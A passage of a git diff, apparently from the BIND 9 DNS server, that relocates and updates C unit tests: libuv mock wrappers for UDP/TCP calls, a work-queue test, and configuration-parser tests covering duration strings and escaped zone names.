+
+	teardown_test(state);
+
+	return (0);
+}
+
+ISC_LOOP_TEST_IMPL(udp_double_read) {
+	start_listening(ISC_NM_LISTEN_ALL, double_read_listen_cb);
+
+	udp__connect(NULL);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY_CUSTOM(mock_listenudp_uv_udp_open, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(mock_listenudp_uv_udp_bind, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(mock_listenudp_uv_udp_recv_start, setup_test,
+		      teardown_test)
+ISC_TEST_ENTRY_CUSTOM(mock_udpconnect_uv_udp_open, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(mock_udpconnect_uv_udp_bind, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(mock_udpconnect_uv_udp_connect, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(mock_udpconnect_uv_recv_buffer_size, setup_test,
+		      teardown_test)
+ISC_TEST_ENTRY_CUSTOM(mock_udpconnect_uv_send_buffer_size, setup_test,
+		      teardown_test)
+ISC_TEST_ENTRY_SETUP_TEARDOWN(udp_noop)
+ISC_TEST_ENTRY_SETUP_TEARDOWN(udp_noresponse)
+ISC_TEST_ENTRY_SETUP_TEARDOWN(udp_shutdown_connect)
+ISC_TEST_ENTRY_SETUP_TEARDOWN(udp_shutdown_read)
+ISC_TEST_ENTRY_SETUP_TEARDOWN(udp_cancel_read)
+ISC_TEST_ENTRY_SETUP_TEARDOWN(udp_timeout_recovery)
+ISC_TEST_ENTRY_SETUP_TEARDOWN(udp_double_read)
+ISC_TEST_ENTRY_SETUP_TEARDOWN(udp_recv_one)
+ISC_TEST_ENTRY_SETUP_TEARDOWN(udp_recv_two)
+ISC_TEST_ENTRY_SETUP_TEARDOWN(udp_recv_send)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/isc/tests/uv_wrap.h b/tests/isc/uv_wrap.h
similarity index 83%
rename from lib/isc/tests/uv_wrap.h
rename to tests/isc/uv_wrap.h
index 99cedeec9c..c499fa6db9 100644
--- a/lib/isc/tests/uv_wrap.h
+++ b/tests/isc/uv_wrap.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,6 +11,8 @@
  * information regarding copyright ownership.
  */
 
+#pragma once
+
 #if HAVE_CMOCKA
 #include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
@@ -19,14 +23,14 @@
 #include <stdlib.h>
 #include <time.h>
 #include <unistd.h>
-#include <uv.h>
 
 #include <isc/atomic.h>
+#include <isc/util.h>
 
 #define UNIT_TESTING
 #include <cmocka.h>
 
-#include "../netmgr/uv-compat.h"
+#include <isc/uv.h>
 
 /* uv_udp_t */
 
@@ -35,13 +39,11 @@ __wrap_uv_udp_open(uv_udp_t *handle, uv_os_sock_t sock);
 int
 __wrap_uv_udp_bind(uv_udp_t *handle, const struct sockaddr *addr,
 		   unsigned int flags);
-#if UV_VERSION_HEX >= UV_VERSION(1, 27, 0)
 int
 __wrap_uv_udp_connect(uv_udp_t *handle, const struct sockaddr *addr);
 int
 __wrap_uv_udp_getpeername(const uv_udp_t *handle, struct sockaddr *name,
 			  int *namelen);
-#endif /* UV_VERSION_HEX >= UV_VERSION(1, 27, 0) */
 int
 __wrap_uv_udp_getsockname(const uv_udp_t *handle, struct sockaddr *name,
 			  int *namelen);
@@ -92,7 +94,7 @@ __wrap_uv_fileno(const uv_handle_t *handle, uv_os_fd_t *fd);
  * uv_timer_start
  */
 
-static atomic_int __state_uv_udp_open = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_udp_open = 0;
 
 int
 __wrap_uv_udp_open(uv_udp_t *handle, uv_os_sock_t sock) {
@@ -102,7 +104,7 @@ __wrap_uv_udp_open(uv_udp_t *handle, uv_os_sock_t sock) {
 	return (atomic_load(&__state_uv_udp_open));
 }
 
-static atomic_int __state_uv_udp_bind = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_udp_bind = 0;
 
 int
 __wrap_uv_udp_bind(uv_udp_t *handle, const struct sockaddr *addr,
@@ -113,10 +115,8 @@ __wrap_uv_udp_bind(uv_udp_t *handle, const struct sockaddr *addr,
 	return (atomic_load(&__state_uv_udp_bind));
 }
 
-static atomic_int __state_uv_udp_connect
-	__attribute__((unused)) = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_udp_connect ISC_ATTR_UNUSED = 0;
 
-#if UV_VERSION_HEX >= UV_VERSION(1, 27, 0)
 int
 __wrap_uv_udp_connect(uv_udp_t *handle, const struct sockaddr *addr) {
 	if (atomic_load(&__state_uv_udp_connect) == 0) {
@@ -124,12 +124,9 @@ __wrap_uv_udp_connect(uv_udp_t *handle, const struct sockaddr *addr) {
 	}
 	return (atomic_load(&__state_uv_udp_connect));
 }
-#endif /* UV_VERSION_HEX >= UV_VERSION(1, 27, 0) */
 
-static atomic_int __state_uv_udp_getpeername
-	__attribute__((unused)) = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_udp_getpeername ISC_ATTR_UNUSED = 0;
 
-#if UV_VERSION_HEX >= UV_VERSION(1, 27, 0)
 int
 __wrap_uv_udp_getpeername(const uv_udp_t *handle, struct sockaddr *name,
 			  int *namelen) {
@@ -138,9 +135,8 @@ __wrap_uv_udp_getpeername(const uv_udp_t *handle, struct sockaddr *name,
 	}
 	return (atomic_load(&__state_uv_udp_getpeername));
 }
-#endif /* UV_VERSION_HEX >= UV_VERSION(1, 27, 0) */
 
-static atomic_int __state_uv_udp_getsockname = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_udp_getsockname = 0;
 int
 __wrap_uv_udp_getsockname(const uv_udp_t *handle, struct sockaddr *name,
 			  int *namelen) {
@@ -150,7 +146,7 @@ __wrap_uv_udp_getsockname(const uv_udp_t *handle, struct sockaddr *name,
 	return (atomic_load(&__state_uv_udp_getsockname));
 }
 
-static atomic_int __state_uv_udp_send = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_udp_send = 0;
 int
 __wrap_uv_udp_send(uv_udp_send_t *req, uv_udp_t *handle, const uv_buf_t bufs[],
 		   unsigned int nbufs, const struct sockaddr *addr,
@@ -161,7 +157,7 @@ __wrap_uv_udp_send(uv_udp_send_t *req, uv_udp_t *handle, const uv_buf_t bufs[],
 	return (atomic_load(&__state_uv_udp_send));
 }
 
-static atomic_int __state_uv_udp_recv_start = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_udp_recv_start = 0;
 int
 __wrap_uv_udp_recv_start(uv_udp_t *handle, uv_alloc_cb alloc_cb,
 			 uv_udp_recv_cb recv_cb) {
@@ -171,7 +167,7 @@ __wrap_uv_udp_recv_start(uv_udp_t *handle, uv_alloc_cb alloc_cb,
 	return (atomic_load(&__state_uv_udp_recv_start));
 }
 
-static atomic_int __state_uv_udp_recv_stop = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_udp_recv_stop = 0;
 int
 __wrap_uv_udp_recv_stop(uv_udp_t *handle) {
 	if (atomic_load(&__state_uv_udp_recv_stop) == 0) {
@@ -180,7 +176,7 @@ __wrap_uv_udp_recv_stop(uv_udp_t *handle) {
 	return (atomic_load(&__state_uv_udp_recv_stop));
 }
 
-static atomic_int __state_uv_tcp_open = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_tcp_open = 0;
 int
 __wrap_uv_tcp_open(uv_tcp_t *handle, uv_os_sock_t sock) {
 	if (atomic_load(&__state_uv_tcp_open) == 0) {
@@ -189,7 +185,7 @@ __wrap_uv_tcp_open(uv_tcp_t *handle, uv_os_sock_t sock) {
 	return (atomic_load(&__state_uv_tcp_open));
 }
 
-static atomic_int __state_uv_tcp_bind = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_tcp_bind = 0;
 int
 __wrap_uv_tcp_bind(uv_tcp_t *handle, const struct sockaddr *addr,
 		   unsigned int flags) {
@@ -199,7 +195,7 @@ __wrap_uv_tcp_bind(uv_tcp_t *handle, const struct sockaddr *addr,
 	return (atomic_load(&__state_uv_tcp_bind));
 }
 
-static atomic_int __state_uv_tcp_getsockname = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_tcp_getsockname = 0;
 int
 __wrap_uv_tcp_getsockname(const uv_tcp_t *handle, struct sockaddr *name,
 			  int *namelen) {
@@ -209,7 +205,7 @@ __wrap_uv_tcp_getsockname(const uv_tcp_t *handle, struct sockaddr *name,
 	return (atomic_load(&__state_uv_tcp_getsockname));
 }
 
-static atomic_int __state_uv_tcp_getpeername = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_tcp_getpeername = 0;
 int
 __wrap_uv_tcp_getpeername(const uv_tcp_t *handle, struct sockaddr *name,
 			  int *namelen) {
@@ -219,7 +215,7 @@ __wrap_uv_tcp_getpeername(const uv_tcp_t *handle, struct sockaddr *name,
 	return (atomic_load(&__state_uv_tcp_getpeername));
 }
 
-static atomic_int __state_uv_tcp_connect = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_tcp_connect = 0;
 int
 __wrap_uv_tcp_connect(uv_connect_t *req, uv_tcp_t *handle,
 		      const struct sockaddr *addr, uv_connect_cb cb) {
@@ -229,7 +225,7 @@ __wrap_uv_tcp_connect(uv_connect_t *req, uv_tcp_t *handle,
 	return (atomic_load(&__state_uv_tcp_connect));
 }
 
-static atomic_int __state_uv_listen = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_listen = 0;
 int
 __wrap_uv_listen(uv_stream_t *stream, int backlog, uv_connection_cb cb) {
 	if (atomic_load(&__state_uv_listen) == 0) {
@@ -238,7 +234,7 @@ __wrap_uv_listen(uv_stream_t *stream, int backlog, uv_connection_cb cb) {
 	return (atomic_load(&__state_uv_listen));
 }
 
-static atomic_int __state_uv_accept = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_accept = 0;
 int
 __wrap_uv_accept(uv_stream_t *server, uv_stream_t *client) {
 	if (atomic_load(&__state_uv_accept) == 0) {
@@ -247,7 +243,7 @@ __wrap_uv_accept(uv_stream_t *server, uv_stream_t *client) {
 	return (atomic_load(&__state_uv_accept));
 }
 
-static atomic_int __state_uv_send_buffer_size = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_send_buffer_size = 0;
 int
 __wrap_uv_send_buffer_size(uv_handle_t *handle, int *value) {
 	if (atomic_load(&__state_uv_send_buffer_size) == 0) {
@@ -256,7 +252,7 @@ __wrap_uv_send_buffer_size(uv_handle_t *handle, int *value) {
 	return (atomic_load(&__state_uv_send_buffer_size));
 }
 
-static atomic_int __state_uv_recv_buffer_size = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_recv_buffer_size = 0;
 int
 __wrap_uv_recv_buffer_size(uv_handle_t *handle, int *value) {
 	if (atomic_load(&__state_uv_recv_buffer_size) == 0) {
@@ -265,7 +261,7 @@ __wrap_uv_recv_buffer_size(uv_handle_t *handle, int *value) {
 	return (atomic_load(&__state_uv_recv_buffer_size));
 }
 
-static atomic_int __state_uv_fileno = ATOMIC_VAR_INIT(0);
+static atomic_int __state_uv_fileno = 0;
 int
 __wrap_uv_fileno(const uv_handle_t *handle, uv_os_fd_t *fd) {
 	if (atomic_load(&__state_uv_fileno) == 0) {
@@ -274,12 +270,10 @@ __wrap_uv_fileno(const uv_handle_t *handle, uv_os_fd_t *fd) {
 	return (atomic_load(&__state_uv_fileno));
 }
 
-#define uv_udp_open(...) __wrap_uv_udp_open(__VA_ARGS__)
-#define uv_udp_bind(...) __wrap_uv_udp_bind(__VA_ARGS__)
-#if UV_VERSION_HEX >= UV_VERSION(1, 27, 0)
+#define uv_udp_open(...)	__wrap_uv_udp_open(__VA_ARGS__)
+#define uv_udp_bind(...)	__wrap_uv_udp_bind(__VA_ARGS__)
 #define uv_udp_connect(...)	__wrap_uv_udp_connect(__VA_ARGS__)
 #define uv_udp_getpeername(...) __wrap_uv_udp_getpeername(__VA_ARGS__)
-#endif /* UV_VERSION_HEX >= UV_VERSION(1, 27, 0) */
 #define uv_udp_getsockname(...) __wrap_uv_udp_getsockname(__VA_ARGS__)
 #define uv_udp_send(...)	__wrap_uv_udp_send(__VA_ARGS__)
 #define uv_udp_recv_start(...)	__wrap_uv_udp_recv_start(__VA_ARGS__)
diff --git a/tests/isc/work_test.c b/tests/isc/work_test.c
new file mode 100644
index 0000000000..3c126ee613
--- /dev/null
+++ b/tests/isc/work_test.c
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/atomic.h>
+#include <isc/loop.h>
+#include <isc/os.h>
+#include <isc/result.h>
+#include <isc/tid.h>
+#include <isc/util.h>
+#include <isc/work.h>
+
+#include "work.c"
+
+#include <tests/isc.h>
+
+static atomic_uint scheduled = 0;
+
+static void
+work_cb(void *arg) {
+	UNUSED(arg);
+
+	atomic_fetch_add(&scheduled, 1);
+
+	assert_int_equal(isc_tid(), UINT32_MAX);
+}
+
+static void
+after_work_cb(void *arg) {
+	UNUSED(arg);
+
+	assert_int_equal(atomic_load(&scheduled), 1);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+work_enqueue_cb(void *arg) {
+	UNUSED(arg);
+	uint32_t tid = isc_loopmgr_nloops(loopmgr) - 1;
+
+	isc_loop_t *loop = isc_loop_get(loopmgr, tid);
+
+	isc_work_enqueue(loop, work_cb, after_work_cb, loopmgr);
+}
+
+ISC_RUN_TEST_IMPL(isc_work_enqueue) {
+	atomic_init(&scheduled, 0);
+
+	isc_loop_setup(isc_loop_main(loopmgr), work_enqueue_cb, loopmgr);
+
+	isc_loopmgr_run(loopmgr);
+
+	assert_int_equal(atomic_load(&scheduled), 1);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(isc_work_enqueue, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isccfg/Makefile.am b/tests/isccfg/Makefile.am
new file mode 100644
index 0000000000..5a6fb03ac4
--- /dev/null
+++ b/tests/isccfg/Makefile.am
@@ -0,0 +1,20 @@
+include $(top_srcdir)/Makefile.top
+
+AM_CPPFLAGS +=			\
+	$(LIBISC_CFLAGS)	\
+	$(LIBDNS_CFLAGS)	\
+	$(LIBISCCFG_CFLAGS)	\
+	$(LIBUV_CFLAGS)		\
+	-I$(top_srcdir)/lib/isc
+
+LDADD +=			\
+	$(LIBISC_LIBS)		\
+	$(LIBDNS_LIBS)		\
+	$(LIBISCCFG_LIBS)	\
+	$(LIBUV_LIBS)
+
+check_PROGRAMS =		\
+	duration_test		\
+	parser_test
+
+include $(top_srcdir)/Makefile.tests
diff --git a/tests/isccfg/duration_test.c b/tests/isccfg/duration_test.c
new file mode 100644
index 0000000000..8bc911cf23
--- /dev/null
+++ b/tests/isccfg/duration_test.c
@@ -0,0 +1,243 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/lex.h>
+#include <isc/log.h>
+#include <isc/mem.h>
+#include <isc/types.h>
+#include <isc/util.h>
+
+#include <isccfg/cfg.h>
+#include <isccfg/grammar.h>
+#include <isccfg/namedconf.h>
+
+#include <tests/isc.h>
+
+static isc_logcategory_t categories[] = { { "", 0 },
+					  { "client", 0 },
+					  { "network", 0 },
+					  { "update", 0 },
+					  { "queries", 0 },
+					  { "unmatched", 0 },
+					  { "update-security", 0 },
+					  { "query-errors", 0 },
+					  { NULL, 0 } };
+
+ISC_SETUP_TEST_IMPL(group) {
+	isc_result_t result;
+	isc_logdestination_t destination;
+	isc_logconfig_t *logconfig = NULL;
+
+	isc_log_create(mctx, &lctx, &logconfig);
+	isc_log_registercategories(lctx, categories);
+	isc_log_setcontext(lctx);
+
+	destination.file.stream = stderr;
+	destination.file.name = NULL;
+	destination.file.versions = ISC_LOG_ROLLNEVER;
+	destination.file.maximum_size = 0;
+	isc_log_createchannel(logconfig, "stderr", ISC_LOG_TOFILEDESC,
+			      ISC_LOG_DYNAMIC, &destination, 0);
+	result = isc_log_usechannel(logconfig, "stderr", NULL, NULL);
+
+	if (result != ISC_R_SUCCESS) {
+		return (-1);
+	}
+
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(group) {
+	if (lctx == NULL) {
+		return (-1);
+	}
+
+	isc_log_setcontext(NULL);
+	isc_log_destroy(&lctx);
+
+	return (0);
+}
+
+struct duration_conf {
+	const char *string;
+	uint32_t time;
+	const char *out;
+};
+typedef struct duration_conf duration_conf_t;
+
+static void
+output(void *closure, const char *text, int textlen) {
+	int r;
+
+	REQUIRE(textlen >= 0 && textlen < CFG_DURATION_MAXLEN);
+
+	r = snprintf(closure, CFG_DURATION_MAXLEN, "%s", text);
+	INSIST(r == textlen);
+}
+
+/* test cfg_obj_asduration() and cfg_print_duration() */
+ISC_RUN_TEST_IMPL(duration) {
+	isc_result_t result;
+	/*
+	 * When 'out' is NULL, the printed result is expected to be the same as
+	 * the input 'string', compared by ignoring the case of the characters.
+	 */
+	duration_conf_t durations[] = {
+		{ .string = "unlimited", .time = 0 },
+		{ .string = "PT0S", .time = 0 },
+		{ .string = "PT42S", .time = 42 },
+		{ .string = "PT10m", .time = 600 },
+		{ .string = "PT10m4S", .time = 604 },
+		{ .string = "PT3600S", .time = 3600 },
+		{ .string = "pT2H", .time = 7200 },
+		{ .string = "Pt2H3S", .time = 7203 },
+		{ .string = "PT2h1m3s", .time = 7263 },
+		{ .string = "p7d", .time = 604800 },
+		{ .string = "P7DT2h", .time = 612000 },
+		{ .string = "P2W", .time = 1209600 },
+		{ .string = "P3M", .time = 8035200 },
+		{ .string = "P3MT10M", .time = 8035800 },
+		{ .string = "p5y", .time = 157680000 },
+		{ .string = "P5YT2H", .time = 157687200 },
+		{ .string = "P1Y1M1DT1H1M1S", .time = 34304461 },
+		{ .string = "P99Y399M999DT3999H9999M2911754S",
+		  .time = UINT32_MAX - 1 },
+		{ .string = "P99Y399M999DT3999H9999M2911755S",
+		  .time = UINT32_MAX },
+		{ .string = "P4294967295Y4294967295M4294967295D"
+			    "T4294967295H4294967295M4294967295S",
+		  .time = UINT32_MAX },
+		{ .string = "PT4294967294S", .time = UINT32_MAX - 1 },
+		{ .string = "PT4294967295S", .time = UINT32_MAX },
+		{ .string = "0", .time = 0 },
+		{ .string = "30", .time = 30 },
+		{ .string = "42s", .time = 42, .out = "42" },
+		{ .string = "10m", .time = 600, .out = "600" },
+		{ .string = "2H", .time = 7200, .out = "7200" },
+		{ .string = "7d", .time = 604800, .out = "604800" },
+		{ .string = "2w", .time = 1209600, .out = "1209600" },
+		{ 0 }, /* Indicates that the remaining durations are invalid. */
+		{ .string = "PT4Y" },
+		{ .string = "P-4Y2M" },
+		{ .string = "P5H1M30S" },
+		{ .string = "P7Y4W" },
+		{ .string = "X7Y4M" },
+		{ .string = "T7H4M" },
+		{ .string = "1Y6M" },
+		{ .string = "PT4294967296S" },
+		{ .string = "PT99999999999S" },
+		{ .string = "P99999999999Y99999999999M99999999999D"
+			    "T99999999999H99999999999M99999999999S" },
+	};
+	isc_buffer_t buf1;
+	cfg_parser_t *p1 = NULL;
+	cfg_obj_t *c1 = NULL;
+	bool must_fail = false;
+
+	for (size_t i = 0; i < ARRAY_SIZE(durations); i++) {
+		const cfg_listelt_t *element;
+		const cfg_obj_t *kasps = NULL;
+		const char cfg_tpl[] =
+			"dnssec-policy \"dp\"\n"
+			"{\nkeys {csk lifetime %s algorithm rsasha256;};\n};\n";
+		char conf[sizeof(cfg_tpl) + CFG_DURATION_MAXLEN] = { 0 };
+		char out[CFG_DURATION_MAXLEN] = { 0 };
+		cfg_printer_t pctx = { .f = output, .closure = out };
+
+		if (durations[i].string == NULL) {
+			must_fail = true;
+			continue;
+		}
+
+		snprintf(&conf[0], sizeof(conf), cfg_tpl, durations[i].string);
+
+		isc_buffer_init(&buf1, conf, strlen(conf) - 1);
+		isc_buffer_add(&buf1, strlen(conf) - 1);
+
+		/* Parse with default line numbering */
+		result = cfg_parser_create(mctx, lctx, &p1);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		result = cfg_parse_buffer(p1, &buf1, "text1", 0,
+					  &cfg_type_namedconf, 0, &c1);
+		if (must_fail) {
+			assert_int_equal(result, DNS_R_BADTTL);
+			cfg_parser_destroy(&p1);
+			continue;
+		}
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		(void)cfg_map_get(c1, "dnssec-policy", &kasps);
+		assert_non_null(kasps);
+		for (element = cfg_list_first(kasps); element != NULL;
+		     element = cfg_list_next(element))
+		{
+			const cfg_listelt_t *key_element;
+			const cfg_obj_t *lifetime = NULL;
+			const cfg_obj_t *keys = NULL;
+			const cfg_obj_t *key = NULL;
+			const cfg_obj_t *kopts = NULL;
+			cfg_obj_t *kconf = cfg_listelt_value(element);
+			int cmp;
+
+			assert_non_null(kconf);
+
+			kopts = cfg_tuple_get(kconf, "options");
+			result = cfg_map_get(kopts, "keys", &keys);
+
+			key_element = cfg_list_first(keys);
+			assert_non_null(key_element);
+
+			key = cfg_listelt_value(key_element);
+			assert_non_null(key);
+
+			lifetime = cfg_tuple_get(key, "lifetime");
+			assert_non_null(lifetime);
+
+			assert_int_equal(durations[i].time,
+					 cfg_obj_asduration(lifetime));
+
+			cfg_print_duration_or_unlimited(&pctx, lifetime);
+			cmp = strncasecmp(durations[i].out != NULL
+						  ? durations[i].out
+						  : durations[i].string,
+					  out, strlen(durations[i].string));
+			assert_int_equal(cmp, 0);
+		}
+
+		cfg_obj_destroy(p1, &c1);
+		cfg_parser_destroy(&p1);
+	}
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(duration)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN_CUSTOM(setup_test_group, teardown_test_group)
diff --git a/tests/isccfg/parser_test.c b/tests/isccfg/parser_test.c
new file mode 100644
index 0000000000..baba26dd6d
--- /dev/null
+++ b/tests/isccfg/parser_test.c
@@ -0,0 +1,228 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/lex.h>
+#include <isc/log.h>
+#include <isc/mem.h>
+#include <isc/string.h>
+#include <isc/types.h>
+#include <isc/util.h>
+
+#include <isccfg/cfg.h>
+#include <isccfg/grammar.h>
+#include <isccfg/namedconf.h>
+
+#include <tests/isc.h>
+
+static isc_logcategory_t categories[] = { { "", 0 },
+					  { "client", 0 },
+					  { "network", 0 },
+					  { "update", 0 },
+					  { "queries", 0 },
+					  { "unmatched", 0 },
+					  { "update-security", 0 },
+					  { "query-errors", 0 },
+					  { NULL, 0 } };
+
+ISC_SETUP_TEST_IMPL(group) {
+	isc_result_t result;
+	isc_logdestination_t destination;
+	isc_logconfig_t *logconfig = NULL;
+
+	isc_log_create(mctx, &lctx, &logconfig);
+	isc_log_registercategories(lctx, categories);
+	isc_log_setcontext(lctx);
+
+	destination.file.stream = stderr;
+	destination.file.name = NULL;
+	destination.file.versions = ISC_LOG_ROLLNEVER;
+	destination.file.maximum_size = 0;
+	isc_log_createchannel(logconfig, "stderr", ISC_LOG_TOFILEDESC,
+			      ISC_LOG_DYNAMIC, &destination, 0);
+	result = isc_log_usechannel(logconfig, "stderr", NULL, NULL);
+
+	if (result != ISC_R_SUCCESS) {
+		return (-1);
+	}
+
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(group) {
+	if (lctx == NULL) {
+		return (-1);
+	}
+
+	isc_log_setcontext(NULL);
+	isc_log_destroy(&lctx);
+
+	return (0);
+}
+
+/* mimic calling nzf_append() */
+static void
+append(void *arg, const char *str, int len) {
+	char *buf = arg;
+	size_t l = strlen(buf);
+	snprintf(buf + l, 1024 - l, "%.*s", len, str);
+}
+
+ISC_RUN_TEST_IMPL(addzoneconf) {
+	isc_result_t result;
+	isc_buffer_t b;
+	cfg_parser_t *p = NULL;
+	const char *tests[] = {
+		"zone \"test4.baz\" { type primary; file \"e.db\"; };",
+		"zone \"test/.baz\" { type primary; file \"e.db\"; };",
+		"zone \"test\\\".baz\" { type primary; file \"e.db\"; };",
+		"zone \"test\\.baz\" { type primary; file \"e.db\"; };",
+		"zone \"test\\\\.baz\" { type primary; file \"e.db\"; };",
+		"zone \"test\\032.baz\" { type primary; file \"e.db\"; };",
+		"zone \"test\\010.baz\" { type primary; file \"e.db\"; };"
+	};
+	char buf[1024];
+
+	/* Parse with default line numbering */
+	result = cfg_parser_create(mctx, lctx, &p);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	for (size_t i = 0; i < ARRAY_SIZE(tests); i++) {
+		cfg_obj_t *conf = NULL;
+		const cfg_obj_t *obj = NULL, *zlist = NULL;
+
+		isc_buffer_constinit(&b, tests[i], strlen(tests[i]));
+		isc_buffer_add(&b, strlen(tests[i]));
+
+		result = cfg_parse_buffer(p, &b, "text1", 0,
+					  &cfg_type_namedconf, 0, &conf);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		/*
+		 * Mimic calling nzf_append() from bin/named/server.c
+		 * and check that the output matches the input.
+		 */
+		result = cfg_map_get(conf, "zone", &zlist);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		obj = cfg_listelt_value(cfg_list_first(zlist));
+		assert_ptr_not_equal(obj, NULL);
+
+		strlcpy(buf, "zone ", sizeof(buf));
+		cfg_printx(obj, CFG_PRINTER_ONELINE, append, buf);
+		strlcat(buf, ";", sizeof(buf));
+		assert_string_equal(tests[i], buf);
+
+		cfg_obj_destroy(p, &conf);
+		cfg_parser_reset(p);
+	}
+
+	cfg_parser_destroy(&p);
+}
+
+/* test cfg_parse_buffer() */
+ISC_RUN_TEST_IMPL(parse_buffer) {
+	isc_result_t result;
+	unsigned char text[] = "options\n{\nrecursion yes;\n};\n";
+	isc_buffer_t buf1, buf2;
+	cfg_parser_t *p1 = NULL, *p2 = NULL;
+	cfg_obj_t *c1 = NULL, *c2 = NULL;
+
+	isc_buffer_init(&buf1, &text[0], sizeof(text) - 1);
+	isc_buffer_add(&buf1, sizeof(text) - 1);
+
+	/* Parse with default line numbering */
+	result = cfg_parser_create(mctx, lctx, &p1);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = cfg_parse_buffer(p1, &buf1, "text1", 0, &cfg_type_namedconf, 0,
+				  &c1);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(p1->line, 5);
+
+	isc_buffer_init(&buf2, &text[0], sizeof(text) - 1);
+	isc_buffer_add(&buf2, sizeof(text) - 1);
+
+	/* Parse with changed line number */
+	result = cfg_parser_create(mctx, lctx, &p2);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = cfg_parse_buffer(p2, &buf2, "text2", 100, &cfg_type_namedconf,
+				  0, &c2);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(p2->line, 104);
+
+	cfg_obj_destroy(p1, &c1);
+	cfg_obj_destroy(p2, &c2);
+
+	cfg_parser_destroy(&p1);
+	cfg_parser_destroy(&p2);
+}
+
+/* test cfg_map_firstclause() */
+ISC_RUN_TEST_IMPL(cfg_map_firstclause) {
+	const char *name = NULL;
+	const void *clauses = NULL;
+	unsigned int idx;
+
+	name = cfg_map_firstclause(&cfg_type_zoneopts, &clauses, &idx);
+	assert_non_null(name);
+	assert_non_null(clauses);
+	assert_int_equal(idx, 0);
+}
+
+/* test cfg_map_nextclause() */
+ISC_RUN_TEST_IMPL(cfg_map_nextclause) {
+	const char *name = NULL;
+	const void *clauses = NULL;
+	unsigned int idx;
+
